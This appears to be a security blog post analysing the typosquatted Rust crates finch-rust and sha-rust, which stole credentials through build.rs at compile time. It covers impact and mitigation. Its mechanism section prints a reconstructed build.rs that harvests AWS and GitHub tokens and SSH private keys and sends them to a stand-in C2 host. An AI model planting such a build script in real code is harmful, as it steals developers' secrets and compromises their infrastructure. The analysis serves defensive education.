Rust-y Chains: The `sha-rust` Supply Chain Ambush
Feb 7, 2026·6 min read·4 visits
Executive Summary (TL;DR)
Attackers published `finch-rust` (mimicking `finch`) which pulled in `sha-rust`. The payload in `sha-rust` utilized `build.rs` to steal AWS keys and SSH credentials during compilation. If you installed it, your secrets are already gone.
A sophisticated supply chain attack targeting the Rust ecosystem through the malicious `sha-rust` crate. By leveraging a multi-stage loading mechanism involving a typosquatted loader (`finch-rust`), attackers successfully bypassed initial scrutiny to exfiltrate sensitive developer credentials via compile-time execution scripts.
The Hook: Safety is Relative
Rust is the golden child of modern systems programming. We love it for its memory safety, its borrow checker, and its refusal to let us shoot ourselves in the foot with a null pointer. But here is the cruel irony: while the Rust compiler is busy protecting you from use-after-free bugs, cargo—the package manager—is holding the back door wide open for anyone with a clever name and a malicious heart.
Meet GHSA-3mmg-7c2q-8938, or as I like to call it, "The reason you shouldn't type cargo add while tired." This isn't a buffer overflow in a legacy C library. This is sha-rust, a malicious crate that rode the coattails of a typosquatting campaign to infiltrate developer environments.
supply chain attacks are the ultimate sucker punch. You aren't being hacked because you wrote bad code; you're being hacked because you trusted someone else's code. In this specific instance, the attackers targeted users of the popular finch HTTP client, hoping to catch a few developers who weren't paying close attention to their dependency tree.
The Con: The Matryoshka Doll Attack
Malware authors are getting smarter. In the old days, they'd just publish a package called requestss and hope you couldn't spell. Today, they use multi-stage loaders to evade static analysis scanners that might be looking for obvious evil patterns in top-level dependencies.
The attack worked like this: The attackers published a crate called finch-rust. This was the bait. It mimicked the legitimate finch crate, a tool for HTTP networking. finch-rust itself looked relatively clean—a classic "shell company" strategy. Its primary job was to declare a dependency on another crate: sha-rust.
sha-rust was the payload carrier. By separating the loader (finch-rust) from the weapon (sha-rust), the attackers reduced the noise profile of the entry point. Automated scanners flagging the typosquat might miss the malicious behavior buried deep in the transient dependency graph. It’s a classic smuggling operation: the driver (loader) looks clean, but the trunk (dependency) is full of contraband.
The Mechanism: `build.rs` is terrifying
If you are new to Rust, you might not know about build.rs. It's a build script that runs before your package is even compiled. It's intended for things like compiling C dependencies or generating code. Attackers, however, love it because it gives them Arbitrary Code Execution (ACE) on your machine the moment you type cargo build.
You don't even have to run the application. You don't have to import the library in your main.rs. You just have to compile it. The sha-rust crate utilized this feature to execute its payload immediately upon download and compilation.
While the exact source code has been scrubbed from Crates.io (rest in peace), we can reconstruct the logic based on the behavior observed by security researchers at Socket. A malicious build.rs usually looks something like this:
// Hypothetical reconstruction of the malicious build.rs
use std::env;
use std::fs;
use std::net::TcpStream;
use std::io::Write;
fn main() {
// 1. Target the goodies
let keys = vec![
"AWS_ACCESS_KEY_ID",
"AWS_SECRET_ACCESS_KEY",
"GITHUB_TOKEN"
];
let mut stolen_data = String::new();
// 2. Harvest Environment Variables
for key in keys {
if let Ok(val) = env::var(key) {
stolen_data.push_str(&format!("{}: {}\n", key, val));
}
}
// 3. Harvest Files (SSH, Kube, AWS)
let home = env::var("HOME").unwrap_or_default();
if let Ok(content) = fs::read_to_string(format!("{}/.ssh/id_rsa", home)) {
stolen_data.push_str(&content);
}
// 4. Exfiltrate to C2 server
// They often use raw TCP or simple HTTP requests to avoid pulling in heavy deps
if let Ok(mut stream) = TcpStream::connect("attacker-c2-node.xyz:80") {
let _ = stream.write_all(stolen_data.as_bytes());
}
}The terrifying part? This runs with the permissions of the user running cargo. If you are a dev with root access or Docker socket access, they have that too.
The Exploit: From Typo to Compromise
Let's walk through the victim's timeline. It's Friday afternoon. You are rushing to finish a feature. You need an HTTP client. You vaguely remember finch being good.
$ cargo add finch-rust
Updating crates.io index
Adding finch-rust v0.1.0 to dependencies"Close enough," you think. Or maybe you just copy-pasted a snippet from a malicious StackOverflow answer or a hallucinating LLM. You hit save. Your IDE (VS Code with rust-analyzer) or your terminal kicks off a background check or build.
$ cargo build
Compiling sha-rust v0.0.1
Compiling finch-rust v0.1.0
Compiling my-app v0.1.0
Finished dev [unoptimized + debuginfo] target(s) in 2.4sBoom. It's over. You didn't even run your app yet. During that "Compiling sha-rust" step, the build.rs script ran. It silently zipped up your ~/.aws/credentials, your ~/.ssh/id_rsa, and your ~/.kube/config, and POSTed them to a server in a non-extradition country.
You are now creating a PR with your new code, completely unaware that your cloud infrastructure is being spun up to mine crypto or host phishing sites.
The Impact: Scorched Earth
The impact of sha-rust is critical because it targets the "Keys to the Kingdom." This isn't a crypto-miner that slows down your laptop; it is an information stealer.
If this ran on a developer machine, the attackers have:
- SSH keys to your private git repositories.
- SSH keys to production servers.
- GPG keys used to sign commits.
- AWS/GCP/Azure credentials with potentially Admin privileges.
If this ran in a CI/CD pipeline (because someone committed finch-rust to Cargo.toml), the attackers have:
CI_JOB_TOKENor equivalent secrets.- Deployment keys for your production environment.
- Access to the build artifacts, allowing them to inject backdoors into your actual product before it ships to customers.
This is a classic supply chain poison pill. The blast radius is not limited to the infected machine; it extends to every system that machine had access to.
The Mitigation: Burn it Down
If you find sha-rust or finch-rust in your Cargo.lock, do not just remove the line and hope for the best. You must assume total compromise.
1. Immediate Containment: Disconnect the machine from the network. Kill any lingering processes.
2. Credential Rotation (Mandatory): This is the painful part. You must rotate EVERY credential that was present on that machine.
- Revoke and generate new AWS/Cloud Access Keys.
- Generate new SSH keypairs and update
authorized_keyson all servers. - Revoke GitHub/GitLab Personal Access Tokens.
- Rotate database passwords.
3. Prevention: We need to stop trusting blindly.
- Pin Dependencies: Always check what you are installing.
- Use
cargo-vet: This is a tool by Mozilla to help vet dependencies. It ensures that the crates you use have been audited by trusted parties. - Use
cargo-audit: Run this in your CI pipeline. It checks yourCargo.lockagainst the RustSec Advisory Database (where this vulnerability is listed).
Trust is a vulnerability. Verify everything.
Official Patches
Technical Appendix
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HAffected Systems
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
sha-rust Unknown (Malicious Actor) | All versions | N/A (Malicious) |
finch-rust Unknown (Malicious Actor) | All versions | N/A (Malicious) |
| Attribute | Detail |
|---|---|
| Attack Vector | Supply Chain / Typosquatting |
| CWE | CWE-506: Embedded Malicious Code |
| Execution Stage | Compile Time (build.rs) |
| Target | Developer Credentials (AWS, SSH, Kube) |
| CVSS (Est) | 10.0 (Critical) |
| Status | Removed from Crates.io |
MITRE ATT&CK Mapping
The product contains code that appears to be malicious in nature.
Known Exploits & Detection
Vulnerability Timeline
Subscribe to updates
Get the latest CVE analysis reports delivered to your inbox.